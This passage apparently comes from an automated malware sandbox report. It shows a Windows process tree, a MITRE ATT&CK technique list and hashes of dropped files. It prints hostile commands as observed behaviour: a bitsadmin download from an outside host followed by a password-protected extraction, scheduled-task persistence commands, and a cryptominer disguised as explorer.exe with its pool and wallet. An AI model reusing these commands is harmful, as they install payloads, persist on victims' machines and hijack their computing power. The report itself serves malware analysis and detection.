        "C:\Users\Admin\Documents\YaqwWv0wVoGoaS2bipa7aQoE.exe"
        12⤵
        
        PID:7240
        
        C:\Users\Admin\Documents\YaqwWv0wVoGoaS2bipa7aQoE.exe
        
        "C:\Users\Admin\Documents\YaqwWv0wVoGoaS2bipa7aQoE.exe"
        13⤵
        
        PID:7880
        
        C:\Users\Admin\Documents\64ze0BJTdebWfVXLANzzExSb.exe
        
        "C:\Users\Admin\Documents\64ze0BJTdebWfVXLANzzExSb.exe"
        12⤵
        
        PID:8000
        
        C:\Users\Admin\AppData\Local\Temp\is-K7H3V.tmp\64ze0BJTdebWfVXLANzzExSb.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-K7H3V.tmp\64ze0BJTdebWfVXLANzzExSb.tmp" /SL5="$20514,138429,56832,C:\Users\Admin\Documents\64ze0BJTdebWfVXLANzzExSb.exe"
        13⤵
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\is-GG83B.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-GG83B.tmp\Setup.exe" /Verysilent
        14⤵
        
        PID:836
        
        C:\Users\Admin\Documents\bfb26UMp0McglsIpr8HayUI3.exe
        
        "C:\Users\Admin\Documents\bfb26UMp0McglsIpr8HayUI3.exe"
        12⤵
        
        PID:7648
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:7304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:8144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:1600
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:7828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:6692
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:5700
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsc88A6.tmp\tempfile.ps1"
        13⤵
        
        PID:1484
        
        C:\Windows\SysWOW64\bitsadmin.exe
        
        "bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
        13⤵
        Download via BitsAdmin
        
        PID:7612
        
        C:\Program Files (x86)\lighteningplayer\data_load.exe
        
        "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pdWcKnymJD9UreYa -y x C:\zip.7z -o"C:\Program Files\temp_files\"
        13⤵
        
        PID:4228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yngdyedj.ag5\askinstall52.exe & exit
        10⤵
        
        PID:6288
        
        C:\Users\Admin\AppData\Local\Temp\yngdyedj.ag5\askinstall52.exe
        
        C:\Users\Admin\AppData\Local\Temp\yngdyedj.ag5\askinstall52.exe
        11⤵
        
        PID:5492
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5492 -s 1648
        12⤵
        Program crash
        
        PID:5380
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y1yedw1h.z4h\63c02b4cb20e1de8569175aa65df628a.exe & exit
        10⤵
        
        PID:1096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f1yjgrmu.s3r\gcleaner.exe /mixfive & exit
        10⤵
        
        PID:5808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zss5kruo.0f0\installer.exe /qn CAMPAIGN=654 & exit
        10⤵
        
        PID:3716
        
        C:\Users\Admin\AppData\Local\Temp\zss5kruo.0f0\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\zss5kruo.0f0\installer.exe /qn CAMPAIGN=654
        11⤵
        
        PID:5932
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oxtznrid.i0s\app.exe /8-2222 & exit
        10⤵
        
        PID:704
        
        C:\Users\Admin\AppData\Local\Temp\oxtznrid.i0s\app.exe
        
        C:\Users\Admin\AppData\Local\Temp\oxtznrid.i0s\app.exe /8-2222
        11⤵
        
        PID:240
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 240 -s 240
        12⤵
        Program crash
        
        PID:5564
      - C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
        6⤵
        Executes dropped EXE
        
        PID:4952
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 236
        7⤵
        Program crash
        
        PID:6408
      - C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"
        6⤵
        Executes dropped EXE
        
        PID:5924
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
        7⤵
        
        PID:6576
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:7020
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Roaming\Services.exe
        
        "C:\Users\Admin\AppData\Roaming\Services.exe"
        7⤵
        
        PID:7148
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
        8⤵
        
        PID:6708
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
        9⤵
        Creates scheduled task(s)
        Suspicious use of SetWindowsHookEx
        
        PID:6776
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        8⤵
        
        PID:2192
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-asia1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth
        8⤵
        
        PID:6976
      - C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe"
        6⤵
        
        PID:3036
        
        C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe" -a
        7⤵
        
        PID:6568
- - C:\Users\Admin\Documents\_0_9LvHWXMJdm_i5kN35w66W.exe
    "C:\Users\Admin\Documents\_0_9LvHWXMJdm_i5kN35w66W.exe"
    3⤵
    - Executes dropped EXE
    PID:6076
  - - C:\Users\Admin\AppData\Roaming\4071221.exe
      "C:\Users\Admin\AppData\Roaming\4071221.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:6084
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6084 -s 2136
        5⤵
        Program crash
        
        PID:5008
  - - C:\Users\Admin\AppData\Roaming\4411936.exe
      "C:\Users\Admin\AppData\Roaming\4411936.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4116
  - - C:\Users\Admin\AppData\Roaming\5642277.exe
      "C:\Users\Admin\AppData\Roaming\5642277.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4944
    - - C:\Users\Admin\AppData\Roaming\5642277.exe
        
        "C:\Users\Admin\AppData\Roaming\5642277.exe"
        5⤵
        
        PID:2576
- - C:\Users\Admin\Documents\UnL57BIFzdiV2uzSGYBM8OE1.exe
    "C:\Users\Admin\Documents\UnL57BIFzdiV2uzSGYBM8OE1.exe"
    3⤵
    - Executes dropped EXE
    PID:2232
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 236
      4⤵
      Program crash
      PID:1068
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\md9_1sjm.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\md9_1sjm.exe"
  2⤵
  - Executes dropped EXE
  PID:2016

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  - Loads dropped DLL
  PID:4584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4584 -s 456
    3⤵
    - Drops file in Windows directory
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4584 -ip 4584
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3700

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4360 -ip 4360
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5420

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv R3q930x020WnyfI9gsy3Ow.0.2
1⤵
- Modifies data under HKEY_USERS
PID:5804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1012 -ip 1012
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5464 -ip 5464
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5548 -ip 5548
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5524 -ip 5524
1⤵
PID:5720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5648 -ip 5648
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5996 -ip 5996
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
PID:1216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2232 -ip 2232
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5696 -ip 5696
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 5436 -ip 5436
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4952 -ip 4952
1⤵
PID:6988

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:3584
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  PID:7096
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 456
    3⤵
    - Program crash
    PID:6164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 7096 -ip 7096
1⤵
PID:6508

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 616 -p 6084 -ip 6084
1⤵
PID:6356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 680 -ip 680
1⤵
PID:4276

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2856
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4F83E446F061F656826854CCC2E91C3C C
  2⤵
  PID:6340
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A126DF12D614725717D315ED7D5F71D9
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:1068
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 39D255D6020F6183FB121F60E80EE6D1 C
  2⤵
  - Blocklisted process makes network request
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1436
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:7532
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:1652
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:3564

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 540 -p 5412 -ip 5412
1⤵
PID:6884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6716 -ip 6716
1⤵
PID:6312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 6708 -ip 6708
1⤵
PID:2900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5492 -ip 5492
1⤵
PID:4576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 240 -ip 240
1⤵
PID:5492

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 524 -p 7000 -ip 7000
1⤵
PID:5668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 7280 -ip 7280
1⤵
PID:8076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1888 -ip 1888
1⤵
PID:7976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7288 -ip 7288
1⤵
PID:8144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 6948 -ip 6948
1⤵
PID:4816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3804 -ip 3804
1⤵
PID:7836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 7324 -ip 7324
1⤵
PID:8112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1548 -ip 1548
1⤵
PID:3300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5440 -ip 5440
1⤵
PID:8100

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:6564
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6564 -s 456
  2⤵
  - Program crash
  PID:5572

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 6564 -ip 6564
1⤵
PID:6280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 7256 -ip 7256
1⤵
PID:7248

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 632 -p 6940 -ip 6940
1⤵
PID:6552

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
PID:2568
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  PID:7188
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    PID:5792
- C:\Program Files (x86)\Windows Media Player\setup_wm.exe
  "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
  2⤵
  PID:7404

C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe
"C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe"
1⤵
PID:5960

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:6752

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3954055 /state1:0x41c64e6d
1⤵
PID:6768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

BITS Jobs

T1197

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

BITS Jobs

T1197

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Company\NewProduct\customer3.exe

MD5
1daac0c9a48a79976539b0722f9c3d3b

SHA1
843218f70a6a7fd676121e447b5b74acb0d87100

SHA256
e496ce805aa5b3ed8e1898803a536c683d031c5a61b2a54e5c89e02c4febecdf

SHA512
2259e6e27e6ca6155b50bc0dfd8c3f9f1a31db53c8b4d1811e94e927e30aba2ded4c92a34dfee042d96bd5fd7cbfdbb73d168cc8d66f9b3a37df40980d6dfebc

Download Submit
C:\Program Files (x86)\Company\NewProduct\customer3.exe

MD5
1daac0c9a48a79976539b0722f9c3d3b

SHA1
843218f70a6a7fd676121e447b5b74acb0d87100

SHA256
e496ce805aa5b3ed8e1898803a536c683d031c5a61b2a54e5c89e02c4febecdf

SHA512
2259e6e27e6ca6155b50bc0dfd8c3f9f1a31db53c8b4d1811e94e927e30aba2ded4c92a34dfee042d96bd5fd7cbfdbb73d168cc8d66f9b3a37df40980d6dfebc

Download Submit
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe

MD5
3c7117f96c0c2879798a78a32d5d34cc

SHA1
197c7dea513f8cbb7ebc17610f247d774c234213

SHA256
6e17c993f42fcc005867e0fd33f98cae32726571d18f6dd8b9b06cefb82de162

SHA512
b89573ac6cbbe132c0c4bac009904cba6d5fda9b4d4eebe2d9552f2451acdd8b7b8e8dce663b26f6541c9c124eb5b9f468efd23b35a28047b0cb942f3a90c122

Download Submit
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe

MD5
3c7117f96c0c2879798a78a32d5d34cc

SHA1
197c7dea513f8cbb7ebc17610f247d774c234213

SHA256
6e17c993f42fcc005867e0fd33f98cae32726571d18f6dd8b9b06cefb82de162

SHA512
b89573ac6cbbe132c0c4bac009904cba6d5fda9b4d4eebe2d9552f2451acdd8b7b8e8dce663b26f6541c9c124eb5b9f468efd23b35a28047b0cb942f3a90c122

Download Submit
C:\Users\Admin\AppData\Local\Temp\3f184e36-4f0f-4b8c-a2a0-38fcd1550f3c\@Cryptex777.dll

MD5
e8641f344213ca05d8b5264b5f4e2dee

SHA1
96729e31f9b805800b2248fd22a4b53e226c8309

SHA256
85e82b9e9200e798e8f434459eacee03ed9818cc6c9a513fe083e72d48884e24

SHA512
3130f32c100ecb97083ad8ac4c67863e9ceed3a9b06fc464d1aeeaec389f74c8bf56f4ce04f6450fd2cc0fa861d085101c433cfa4bec3095f8ebeeb53b739109

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe

MD5
b89068659ca07ab9b39f1c580a6f9d39

SHA1
7e3e246fcf920d1ada06900889d099784fe06aa5

SHA256
9d225182e9a8f073e8cf1d60a8258369a394bcae5fbc52d845d71a0fa440539c

SHA512
940690b0844e678e45ead2e7639407ffac43ab45265d2682a4c2e6400ac8fa2188c50a3b17dad241517dd4624ee92d159c7e6d59c8d069b9edd1445115255d52

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe

MD5
b89068659ca07ab9b39f1c580a6f9d39

SHA1
7e3e246fcf920d1ada06900889d099784fe06aa5

SHA256
9d225182e9a8f073e8cf1d60a8258369a394bcae5fbc52d845d71a0fa440539c

SHA512
940690b0844e678e45ead2e7639407ffac43ab45265d2682a4c2e6400ac8fa2188c50a3b17dad241517dd4624ee92d159c7e6d59c8d069b9edd1445115255d52

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Folder.exe

MD5
b89068659ca07ab9b39f1c580a6f9d39

SHA1
7e3e246fcf920d1ada06900889d099784fe06aa5

SHA256
9d225182e9a8f073e8cf1d60a8258369a394bcae5fbc52d845d71a0fa440539c

SHA512
940690b0844e678e45ead2e7639407ffac43ab45265d2682a4c2e6400ac8fa2188c50a3b17dad241517dd4624ee92d159c7e6d59c8d069b9edd1445115255d52

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe

MD5
bda0c64936b09cfb76fda98e37f5b6a4

SHA1
8ee82a7dee86562cb7b1732dafe4c5a9f16f51b8

SHA256
4f5a67a18795c134aa846250f5e88b5fafd28f329fd1742d02b141e1095f9783

SHA512
cf1c0d7a5345ad68887a4f6328db54d3119935aad66544e466a002ec9491990da05614c0457c94e7545924b159afc0bc68f350342cc7f7335406c30ba0be362e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Info.exe

MD5
bda0c64936b09cfb76fda98e37f5b6a4

SHA1
8ee82a7dee86562cb7b1732dafe4c5a9f16f51b8

SHA256
4f5a67a18795c134aa846250f5e88b5fafd28f329fd1742d02b141e1095f9783

SHA512
cf1c0d7a5345ad68887a4f6328db54d3119935aad66544e466a002ec9491990da05614c0457c94e7545924b159afc0bc68f350342cc7f7335406c30ba0be362e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe

MD5
cbafd60beffb18c666ff85f1517a76f9

SHA1
9e015cba7168b610969bfc299a4ffe4763f4fd5f

SHA256
d31f2d2d991acee74d9be732c8180f37cea12aceaba324804fbcf2d0d2891a3d

SHA512
ba61ac5f49827b0fba2c72f4b19540b91f8bceb8b441a713b7de00317059955ad592c88af8f9c94093077503ab3b4c4c522b0e577599ca5020ad1b0f254066ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Installation.exe

MD5
cbafd60beffb18c666ff85f1517a76f9

SHA1
9e015cba7168b610969bfc299a4ffe4763f4fd5f

SHA256
d31f2d2d991acee74d9be732c8180f37cea12aceaba324804fbcf2d0d2891a3d

SHA512
ba61ac5f49827b0fba2c72f4b19540b91f8bceb8b441a713b7de00317059955ad592c88af8f9c94093077503ab3b4c4c522b0e577599ca5020ad1b0f254066ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe

MD5
5af9f5b4e531fab8417a2f137350c842

SHA1
644e6ea394ba94830101d4aeb7d9d23c690b0b83

SHA256
a8543cfdbca49e47db17342a882732ae5889601ab06c56927ec1761ba09bfbc4

SHA512
8a0fd77bb8dac23e84e559624c812326184145b7add8ea502c8c11a5c8ba68d5b69878311c41981d75a163ee428e7969e9dd5c4fef955e43913a1e037d4b7b31

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe

MD5
5af9f5b4e531fab8417a2f137350c842

SHA1
644e6ea394ba94830101d4aeb7d9d23c690b0b83

SHA256
a8543cfdbca49e47db17342a882732ae5889601ab06c56927ec1761ba09bfbc4

SHA512
8a0fd77bb8dac23e84e559624c812326184145b7add8ea502c8c11a5c8ba68d5b69878311c41981d75a163ee428e7969e9dd5c4fef955e43913a1e037d4b7b31

Download Submit
C:\Users\Admin\AppData\Local\Temp\axhub.dat

MD5
5fd2eba6df44d23c9e662763009d7f84

SHA1
43530574f8ac455ae263c70cc99550bc60bfa4f1

SHA256
2991e2231855661e94ef80a4202487a9d7dc7bebccab9a0b2a786cf0783a051f

SHA512
321a86725e533dedb5b74e17218e6e53a49fa6ffc87d7f7da0f0b8441a081fe785f7846a76f67ef03ec3abddacbe8906b20a2f3ce8178896ec57090ef7ab0eb7

Download Submit
C:\Users\Admin\AppData\Local\Temp\axhub.dll

MD5
1c7be730bdc4833afb7117d48c3fd513

SHA1
dc7e38cfe2ae4a117922306aead5a7544af646b8

SHA256
8206b4b3897ca45b9e083273f616902966e57091516844906e6ae2aefe63cef1

SHA512
7936c862a06b7ecdb6710a1bb62cbea149f75504b580c2f100945674c987f3eec53e9aa5915e32b4f74bcf46f2df9468f68a454400faebd909f933e8072e0f2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\axhub.dll

MD5
1c7be730bdc4833afb7117d48c3fd513

SHA1
dc7e38cfe2ae4a117922306aead5a7544af646b8

SHA256
8206b4b3897ca45b9e083273f616902966e57091516844906e6ae2aefe63cef1

SHA512
7936c862a06b7ecdb6710a1bb62cbea149f75504b580c2f100945674c987f3eec53e9aa5915e32b4f74bcf46f2df9468f68a454400faebd909f933e8072e0f2e

Download Submit
C:\Users\Admin\Documents\2o84zq2hVylVfyFnNpUXwFWj.exe

MD5
151211fdfb59e9e6221146f3a6a48ce4

SHA1
f2da419f2561056967e87fa7be5aeb8ae10f766e

SHA256
